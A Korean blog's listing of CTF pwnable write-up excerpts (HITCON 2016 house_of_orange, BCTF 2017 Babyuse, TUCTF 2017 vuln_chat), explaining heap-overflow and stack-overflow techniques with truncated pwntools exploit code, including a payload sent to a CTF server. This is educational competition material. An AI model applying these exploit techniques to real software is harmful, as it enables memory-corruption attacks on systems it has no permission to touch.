분류 전체보기
-
-
HITCON 2016 house_of_orangePwnable/CTF 2017. 12. 11. 22:00
일단 기본적으로 힙 오버플로우 취약점이있다. 그것을 이용하여서 house of orange기법을 써서 푸는문제인데 기법만 이해했으면 쉬운문제인것같다. 사이즈를 0X20FA1 이라면 0xfa1로 만들어주면 탑 청크 사이즈를 조작했을때 오류가 나지 않는다. 탑 청크사이즈가 제대로 정렬되어있는지 확인을하는곳 때문에 이상하게 조작하면 오류가 난다. 그리고 top_chunk보다 큰 사이즈를 할당하면 sysmalloc를 하는데 이때 malloc하는 값이 mmap 크기만큼 크지 않으니 할당할려던 청크를 free를 시키고 탑 청크를 새로 배치한다.house of orange를 할때 라이브러리는 물론 힙 주소도 필요하다.힙 주소는 large chunk에는 힙 주소를 가르키고있는 fd_nextsize와 bk_nextsiz..
-
BCTF 2017 BabyusePwnable/CTF 2017. 12. 1. 13:51
Exploit ONLY 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889from pwn import * p=process("./babyuse")elf=ELF("./babyuse") def buy(gun,length,name): p.recvuntil('Exit') p.sendline("1") p.recvuntil('95') p.sendline(str(gun)) p.recv(1024) p.sendline(str(length)) p.recvuntil(':') ..
-
-
-
TUCTF 2017 Write upPwnable/CTF 2017. 11. 27. 09:32
PWN 50 VULN_CHAT v5[0x19]sfp 만큼 거리가 있고 v6 "%30s" 를 이용하여서 30byte입력하는데 sfp 하고 ret 1byte를 입력할수있다. 그래서 선택한방법이 v5를 oveflow를 해서 v6 "%30s"를 "%s"로 바꾸면 v4입력부분에서 ENTER,NULL값을 입력받을때까지 입력할수있다.즉, eip 4byte 변조가능 ret에 printFlag에 넣는다면 플래그를 얻을 수 있을것이다. 123456789101112131415161718from pwn import * #p=process("./vuln-chat")p=remote("vulnchat.tuctf.com",4141) print p.recv(1024) payload = "A"*0x14payload += p32(0x73..
-
-